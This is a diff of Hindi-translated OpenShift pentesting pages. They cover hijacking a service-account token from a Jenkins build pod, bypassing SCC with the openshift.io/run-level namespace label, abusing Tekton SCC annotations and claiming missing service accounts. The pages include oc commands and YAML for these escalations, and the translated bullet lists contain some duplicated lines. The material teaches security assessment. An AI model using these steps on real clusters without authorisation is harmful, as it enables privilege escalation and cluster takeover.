समान तकनीक एक Secret को माउंट करने के लिए लागू होती है। यहाँ अंतिम लक्ष्य यह होगा कि आप अपने पोड निर्माण को प्रभावी ढंग से पिवट या विशेषाधिकार प्राप्त करने के लिए कैसे कॉन्फ़िगर करें।
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
## आगे बढ़ना
## Going further
एक बार जब आप इसके साथ खेलने के लिए अभ्यस्त हो जाते हैं, तो जेनकिंस और कुबेरनेट्स/ओपनशिफ्ट पर अपने ज्ञान का उपयोग करें ताकि गलत कॉन्फ़िगरेशन/दुरुपयोग खोज सकें।
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
अपने आप से निम्नलिखित प्रश्न पूछें:
Ask yourself the following questions:
- किस सेवा खाते का उपयोग निर्माण पोड को तैनात करने के लिए किया जा रहा है?
- कौन सा सेवा खाता निर्माण पॉड्स को तैनात करने के लिए उपयोग किया जा रहा है?
- इसके पास कौन से भूमिकाएँ और अनुमतियाँ हैं? क्या यह उस नामस्थान के रहस्यों को पढ़ सकता है जिसमें मैं वर्तमान में हूँ?
- क्या मैं अन्य निर्माण पोड को और अधिक सूचीबद्ध कर सकता हूँ?
- एक समझौता किए गए sa से, क्या मैं मास्टर नोड/पोड पर कमांड निष्पादित कर सकता हूँ?
- क्या मैं क्लस्टर को और अधिक सूचीबद्ध कर सकता हूँ ताकि कहीं और पिवट कर सकूँ?
- कौन सा SCC लागू है?
- क्या मैं अन्य निर्माण पॉड्स को और सूचीबद्ध कर सकता हूँ?
- एक समझौता किए गए sa से, क्या मैं मास्टर नोड/पॉड पर कमांड निष्पादित कर सकता हूँ?
- क्या मैं क्लस्टर को और सूचीबद्ध कर सकता हूँ ताकि कहीं और पिवट कर सकूँ?
- कौन सा SCC लागू किया गया है?
आप यह पता लगा सकते हैं कि कौन से oc/kubectl कमांड जारी करने हैं [यहाँ](../openshift-basic-information.md) और [यहाँ](../../kubernetes-security/kubernetes-enumeration.md)।
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
### संभावित privesc/pivoting परिदृश्य
### Possible privesc/pivoting scenarios
मान लीजिए कि आपकी मूल्यांकन के दौरान आपको पता चला कि सभी जेनकिंस निर्माण एक नामस्थान में चल रहे हैं जिसे _worker-ns_ कहा जाता है। आपने यह पता लगाया कि एक डिफ़ॉल्ट सेवा खाता जिसे _default-sa_ कहा जाता है, निर्माण पोड पर माउंट किया गया है, हालाँकि इसके पास कुछ संसाधनों पर पढ़ने की पहुँच के अलावा इतनी अनुमतियाँ नहीं हैं लेकिन आप एक मौजूदा सेवा खाते को पहचानने में सक्षम थे जिसे _master-sa_ कहा जाता है।
मान लीजिए कि आपके पास चल रहे निर्माण कंटेनर के अंदर oc कमांड स्थापित है।
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
Let's also assume that you have the oc command installed inside the running build container.
नीचे दिए गए निर्माण स्क्रिप्ट के साथ आप _master-sa_ सेवा खाते पर नियंत्रण प्राप्त कर सकते हैं और आगे सूचीबद्ध कर सकते हैं।
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
```groovy
pipeline {
stages {
@@ -220,7 +222,7 @@ sh 'oc --token=$token whoami'
```bash
oc login --token=$token --server=https://apiserver.com:port
```
यदि इस sa के पास पर्याप्त अनुमति है (जैसे pod/exec), तो आप मास्टर नोड पॉड के अंदर कमांड निष्पादित करके पूरे jenkins इंस्टेंस पर नियंत्रण प्राप्त कर सकते हैं, यदि यह उसी namespace के भीतर चल रहा है। आप इसके नाम और इस तथ्य के माध्यम से इस पॉड की पहचान आसानी से कर सकते हैं कि इसे jenkins डेटा संग्रहीत करने के लिए उपयोग किए जाने वाले PVC (persistant volume claim) को माउंट करना चाहिए।
यदि इस sa के पास पर्याप्त अनुमति है (जैसे pod/exec), तो आप मास्टर नोड पॉड के अंदर कमांड्स को निष्पादित करके पूरे jenkins इंस्टेंस पर नियंत्रण प्राप्त कर सकते हैं, यदि यह उसी namespace के भीतर चल रहा है। आप इसके नाम और इस तथ्य के माध्यम से इस पॉड की पहचान आसानी से कर सकते हैं कि इसे jenkins डेटा को स्टोर करने के लिए उपयोग किए जाने वाले PVC (persistant volume claim) को माउंट करना चाहिए।
```bash
oc rsh pod_name -c container_name
```
@@ -258,3 +260,7 @@ sh 'env'
}
}
}
{{#include ../../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
View File

@@ -1,19 +1,25 @@
# OpenShift - विशेषाधिकार वृद्धि
# OpenShift - Privilege Escalation
## सेवा खाता गायब
{{#include ../../../banners/hacktricks-training.md}}
## Missing Service Account
{{#ref}}
openshift-missing-service-account.md
{{#endref}}
## टेकटन
## Tekton
{{#ref}}
openshift-tekton.md
{{#endref}}
## SCC बायपास
## SCC Bypass
{{#ref}}
openshift-scc-bypass.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
View File

@@ -1,14 +1,16 @@
# OpenShift - Missing Service Account
{{#include ../../../banners/hacktricks-training.md}}
## Missing Service Account
यह होता है कि क्लस्टर को पूर्व-निर्धारित टेम्पलेट के साथ तैनात किया गया है जो स्वचालित रूप से Roles, RoleBindings और यहां तक कि SCC को सेवा खाते के लिए सेट करता है जो अभी तक बनाया नहीं गया है। यदि आप उन्हें बना सकते हैं तो यह विशेषाधिकार वृद्धि का कारण बन सकता है। इस मामले में, आप नए बनाए गए SA का टोकन और संबंधित भूमिका या SCC प्राप्त कर सकेंगे। समान मामला तब होता है जब गायब SA एक गायब प्रोजेक्ट का हिस्सा होता है, इस मामले में यदि आप प्रोजेक्ट बना सकते हैं और फिर SA बना सकते हैं, तो आप संबंधित Roles और SCC प्राप्त करते हैं।
यह होता है कि क्लस्टर को पूर्व-निर्धारित टेम्पलेट के साथ तैनात किया गया है जो स्वचालित रूप से Roles, RoleBindings और यहां तक कि SCC को उस सेवा खाते के लिए सेट करता है जो अभी तक बनाया नहीं गया है। यदि आप उन्हें बना सकते हैं तो यह विशेषाधिकार वृद्धि की ओर ले जा सकता है। इस मामले में, आप नए बनाए गए SA का टोकन और संबंधित भूमिका या SCC प्राप्त कर सकेंगे। वही मामला तब होता है जब गायब SA एक गायब प्रोजेक्ट का हिस्सा है, इस मामले में यदि आप प्रोजेक्ट बना सकते हैं और फिर SA बना सकते हैं, तो आप संबंधित Roles और SCC प्राप्त करते हैं।
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
पिछले ग्राफ में हमारे पास कई AbsentProject हैं जिसका अर्थ है कि कई प्रोजेक्ट हैं जो Roles Bindings या SCC में दिखाई देते हैं लेकिन अभी तक क्लस्टर में बनाए नहीं गए हैं। उसी संदर्भ में हमारे पास एक AbsentServiceAccount भी है।
पिछले ग्राफ में हमारे पास कई AbsentProject हैं, जिसका अर्थ है कि कई प्रोजेक्ट हैं जो Roles Bindings या SCC में दिखाई देते हैं लेकिन अभी तक क्लस्टर में बनाए नहीं गए हैं। इसी तरह हमारे पास एक AbsentServiceAccount भी है।
यदि हम एक प्रोजेक्ट और उसमें गायब SA बना सकते हैं, तो SA उस भूमिका या SCC से विरासत में मिलेगा जो AbsentServiceAccount को लक्षित कर रहा था। जो विशेषाधिकार वृद्धि का कारण बन सकता है।
यदि हम एक प्रोजेक्ट और उसमें गायब SA बना सकते हैं, तो SA उस Role या SCC से विरासत में मिलेगा जो AbsentServiceAccount को लक्षित कर रहा था। जो विशेषाधिकार वृद्धि की ओर ले जा सकता है।
निम्नलिखित उदाहरण एक गायब SA को दिखाता है जिसे node-exporter SCC दिया गया है:
@@ -16,8 +18,10 @@
## Tools
इस समस्या को सूचीबद्ध करने और सामान्य रूप से OpenShift क्लस्टर को ग्राफ करने के लिए निम्नलिखित उपकरण का उपयोग किया जा सकता है:
निम्नलिखित उपकरण का उपयोग इस समस्या को सूचीबद्ध करने और सामान्य रूप से OpenShift क्लस्टर को ग्राफ करने के लिए किया जा सकता है:
{{#ref}}
https://github.com/maxDcb/OpenShiftGrapher
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

24
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
View File

@@ -1,5 +1,7 @@
# Openshift - SCC bypass
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Privileged Namespaces
@@ -13,14 +15,14 @@
- **openshift-infra**
- **openshift**
यदि आप इन नामस्थान में पॉड्स तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल सिस्टम को माउंट करने की अनुमति मिलेगी।
यदि आप इन नामस्थान में से किसी एक के भीतर पॉड तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल सिस्टम को माउंट करने की अनुमति मिलेगी।
## Namespace Label
RedHat दस्तावेज़ के अनुसार, आपके पॉड पर SCC एप्लिकेशन को अक्षम करने का एक तरीका है। आपको निम्नलिखित में से कम से कम एक अनुमति होनी चाहिए:
- एक Namespace बनाना और इस Namespace पर एक Pod बनाना
- एक Namespace को संपादित करना और इस Namespace पर एक Pod बनाना
- एक Namespace संपादित करना और इस Namespace पर एक Pod बनाना
```bash
$ oc auth can-i create namespaces
yes
@@ -28,7 +30,7 @@ yes
$ oc auth can-i patch namespaces
yes
```
विशिष्ट लेबल `openshift.io/run-level` उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के सभी पॉड्स पर कोई SCCs लागू नहीं होते हैं, प्रभावी रूप से किसी भी प्रतिबंध को हटा देते हैं।
विशिष्ट लेबल `openshift.io/run-level` उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के भीतर सभी पॉड्स पर कोई SCCs लागू नहीं होते हैं, प्रभावी रूप से किसी भी प्रतिबंध को हटा देते हैं।
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
@@ -47,7 +49,7 @@ name: evil
labels:
openshift.io/run-level: 0
```
अब, नामस्थान पर बनाए गए सभी नए पॉड्स में कोई SCC नहीं होनी चाहिए
अब, नामस्थान पर बनाए गए सभी नए पॉड्स के पास कोई SCC नहीं होना चाहिए
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
@@ -94,9 +96,9 @@ path:
### कस्टम लेबल
इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही इसे इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियों को देने, किसी विशेष संसाधन को प्रतिबंधित करने या नहीं करने के लिए किया जा सकता है।
इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही यह इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियाँ देने, किसी विशेष संसाधन को प्रतिबंधित करने या न करने के लिए किया जा सकता है।
यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करने का प्रयास करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:
यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:
- Pod
- Deployment
@@ -113,14 +115,18 @@ $ oc get project -o yaml | grep 'run-level' -b5
```
## Advanced exploit
OpenShift में, जैसा कि पहले दिखाया गया है, एक namespace में `openshift.io/run-level` लेबल के साथ pod को तैनात करने की अनुमति होना क्लस्टर का सीधा अधिग्रहण करने की ओर ले जा सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता **अक्षम नहीं की जा सकती**, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।
OpenShift में, जैसा कि पहले दिखाया गया है, `openshift.io/run-level` लेबल के साथ एक namespace में pod को तैनात करने की अनुमति होना क्लस्टर का सीधा अधिग्रहण करने की ओर ले जा सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता **निष्क्रिय नहीं की जा सकती**, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।
हालांकि, **Open Policy Agent GateKeeper** जैसी शमन उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।
हालांकि, **Open Policy Agent GateKeeper** जैसी रोकथाम उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।
GateKeeper के नियमों को बायपास करने और क्लस्टर अधिग्रहण को निष्पादित करने के लिए इस लेबल को सेट करने के लिए, **हमलावरों को वैकल्पिक तरीकों की पहचान करनी होगी।**
GateKeeper के नियमों को बायपास करने और इस लेबल को सेट करने के लिए क्लस्टर अधिग्रहण को निष्पादित करने के लिए, **हमलावरों को वैकल्पिक तरीकों की पहचान करनी होगी।**
## References
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
{{#include ../../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
View File

@@ -1,14 +1,16 @@
# OpenShift - Tekton
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
### Tekton क्या है
दस्तावेज़ के अनुसार: _Tekton एक शक्तिशाली और लचीला ओपन-सोर्स ढांचा है जो CI/CD सिस्टम बनाने के लिए है, जिससे डेवलपर्स क्लाउड प्रदाताओं और ऑन-प्रिमाइस सिस्टम पर निर्माण, परीक्षण और तैनाती कर सकते हैं।_ Jenkins और Tekton दोनों का उपयोग अनुप्रयोगों का परीक्षण, निर्माण और तैनाती के लिए किया जा सकता है, हालाँकि Tekton क्लाउड नेटिव है।&#x20;
दस्तावेज़ के अनुसार: _Tekton एक शक्तिशाली और लचीला ओपन-सोर्स ढांचा है जो CI/CD सिस्टम बनाने के लिए है, जिससे डेवलपर्स क्लाउड प्रदाताओं और ऑन-प्रिमाइस सिस्टम पर निर्माण, परीक्षण और तैनाती कर सकते हैं।_ Jenkins और Tekton दोनों का उपयोग अनुप्रयोगों का परीक्षण, निर्माण और तैनाती के लिए किया जा सकता है, हालाँकि Tekton क्लाउड नेटिव है।
Tekton के साथ सब कुछ YAML फ़ाइलों द्वारा दर्शाया जाता है। डेवलपर्स `Pipelines` प्रकार के कस्टम संसाधन (CR) बना सकते हैं और उनमें कई `Tasks` निर्दिष्ट कर सकते हैं जिन्हें वे चलाना चाहते हैं। एक Pipeline चलाने के लिए `PipelineRun` प्रकार के संसाधन बनाए जाने चाहिए।
जब tekton स्थापित होता है, तो हर namespace में एक सेवा खाता (sa) बनाया जाता है जिसे pipeline कहा जाता है। जब एक Pipeline चलाई जाती है, तो YAML फ़ाइल में परिभाषित कार्यों को चलाने के लिए इस sa का उपयोग करके एक pod उत्पन्न किया जाएगा जिसे `pipeline` कहा जाता है।
जब tekton स्थापित किया जाता है, तो हर namespace में एक सेवा खाता (sa) बनाया जाता है जिसे pipeline कहा जाता है। जब एक Pipeline चलाई जाती है, तो YAML फ़ाइल में परिभाषित कार्यों को चलाने के लिए इस sa का उपयोग करके एक pod उत्पन्न किया जाएगा जिसे `pipeline` कहा जाता है।
{{#ref}}
https://tekton.dev/docs/getting-started/pipelines/
@@ -16,7 +18,7 @@ https://tekton.dev/docs/getting-started/pipelines/
### Pipeline सेवा खाता क्षमताएँ
डिफ़ॉल्ट रूप से, pipeline सेवा खाता `pipelines-scc` क्षमता का उपयोग कर सकता है। यह tekton की वैश्विक डिफ़ॉल्ट कॉन्फ़िगरेशन के कारण है। वास्तव में, tekton की वैश्विक कॉन्फ़िगरेशन भी एक YAML है जो एक openshift ऑब्जेक्ट में है जिसे `TektonConfig` कहा जाता है जिसे आप क्लस्टर में कुछ रीडर भूमिकाएँ होने पर देख सकते हैं।
डिफ़ॉल्ट रूप से, pipeline सेवा खाता `pipelines-scc` क्षमता का उपयोग कर सकता है। यह tekton की वैश्विक डिफ़ॉल्ट कॉन्फ़िगरेशन के कारण है। वास्तव में, tekton की वैश्विक कॉन्फ़िगरेशन भी एक YAML है जो एक openshift ऑब्जेक्ट में `TektonConfig` कहा जाता है जिसे आप क्लस्टर में कुछ रीडर भूमिकाएँ होने पर देख सकते हैं।
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
@@ -43,11 +45,11 @@ name: test-namespace
annotations:
operator.tekton.dev/scc: privileged
```
tekton ऑपरेटर `test-namespace` में पाइपलाइन सेवा खाते को scc privileged का उपयोग करने की क्षमता देगा। इससे नोड को माउंट करने की अनुमति मिलेगी।
The tekton operator `test-namespace` में पाइपलाइन सेवा खाते को scc privileged का उपयोग करने की क्षमता देगा। यह नोड को माउंट करने की अनुमति देगा।
### समाधान
Tekton दस्तावेज़ों में `TektonConfig` ऑब्जेक्ट में लेबल जोड़कर scc के ओवरराइड को प्रतिबंधित करने के बारे में बताया गया है।
Tekton दस्तावेज़ों में `TektonConfig` ऑब्जेक्ट में लेबल जोड़कर scc के ओवरराइड को प्रतिबंधित करने के बारे में जानकारी है।
{{#ref}}
https://tekton.dev/docs/operator/sccconfig/
@@ -68,4 +70,4 @@ scc:
default: "restricted-v2"
maxAllowed: "privileged"
```
{{#include ../../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/openshift-pentesting/openshift-scc.md
View File

@@ -1,19 +1,21 @@
# Openshift - SCC
{{#include ../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## परिभाषा
OpenShift के संदर्भ में, SCC का अर्थ है **Security Context Constraints**। Security Context Constraints नीतियाँ हैं जो OpenShift क्लस्टरों पर चल रहे पॉड्स के लिए अनुमतियों को नियंत्रित करती हैं। ये उन सुरक्षा मानकों को परिभाषित करती हैं जिनके तहत एक पॉड को चलाने की अनुमति है, जिसमें यह शामिल है कि यह कौन-सी क्रियाएँ कर सकता है और यह कौन-से संसाधनों तक पहुँच सकता है।
OpenShift के संदर्भ में, SCC का अर्थ है **Security Context Constraints**। Security Context Constraints नीतियाँ हैं जो OpenShift क्लस्टरों पर चल रहे पॉड्स के लिए अनुमतियों को नियंत्रित करती हैं। ये उन सुरक्षा मानकों को परिभाषित करती हैं जिनके तहत एक पॉड को चलने की अनुमति है, जिसमें यह शामिल है कि यह कौन-सी क्रियाएँ कर सकता है और कौन-से संसाधनों तक पहुँच सकता है।
SCCs प्रशासकों को क्लस्टर में सुरक्षा नीतियों को लागू करने में मदद करते हैं, यह सुनिश्चित करते हुए कि पॉड्स उचित अनुमतियों के साथ चल रहे हैं और संगठनात्मक सुरक्षा मानकों का पालन कर रहे हैं। ये प्रतिबंध पॉड सुरक्षा के विभिन्न पहलुओं को निर्दिष्ट कर सकते हैं, जैसे:
1. Linux क्षमताएँ: कंटेनरों के लिए उपलब्ध क्षमताओं को सीमित करना, जैसे विशेषाधिकार प्राप्त क्रियाएँ करने की क्षमता।
2. SELinux संदर्भ: कंटेनरों के लिए SELinux संदर्भों को लागू करना, जो यह परिभाषित करते हैं कि प्रक्रियाएँ सिस्टम पर संसाधनों के साथ कैसे इंटरैक्ट करती हैं।
3. केवल पढ़ने योग्य रूट फ़ाइल सिस्टम: कुछ निर्देशिकाओं में फ़ाइलों को संशोधित करने से कंटेनरों को रोकना।
4. अनुमत होस्ट निर्देशिकाएँ और वॉल्यूम: यह निर्दिष्ट करना कि कौन-से होस्ट निर्देशिकाएँ और वॉल्यूम एक पॉड माउंट कर सकता है।
4. अनुमत होस्ट निर्देशिकाएँ और वॉल्यूम: यह निर्दिष्ट करना कि कौन-सी होस्ट निर्देशिकाएँ और वॉल्यूम एक पॉड माउंट कर सकता है।
5. UID/GID के रूप में चलाना: यह निर्दिष्ट करना कि कंटेनर प्रक्रिया किस उपयोगकर्ता और समूह आईडी के तहत चलती है।
6. नेटवर्क नीतियाँ: पॉड्स के लिए नेटवर्क पहुँच को नियंत्रित करना, जैसे कि निकासी ट्रैफ़िक को प्रतिबंधित करना।
6. नेटवर्क नीतियाँ: पॉड्स के लिए नेटवर्क पहुँच को नियंत्रित करना, जैसे आउटबाउंड ट्रैफ़िक को प्रतिबंधित करना।
SCCs को कॉन्फ़िगर करके, प्रशासक यह सुनिश्चित कर सकते हैं कि पॉड्स उचित स्तर की सुरक्षा अलगाव और पहुँच नियंत्रण के साथ चल रहे हैं, जिससे क्लस्टर के भीतर सुरक्षा कमजोरियों या अनधिकृत पहुँच के जोखिम को कम किया जा सके।
@@ -41,7 +43,7 @@ $ oc describe scc $SCC #Check SCC definitions
## SCC का उपयोग करें
किसी पॉड के लिए उपयोग की जाने वाली SCC एक एनोटेशन के अंदर परिभाषित होती है:
किसी पॉड के लिए उपयोग किया जाने वाला SCC एक एनोटेशन के अंदर परिभाषित होता है:
```bash
$ oc get pod MYPOD -o yaml | grep scc
openshift.io/scc: privileged
@@ -60,3 +62,7 @@ openshift-privilege-escalation/openshift-scc-bypass.md
## References
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
{{#include ../../banners/hacktricks-training.md}}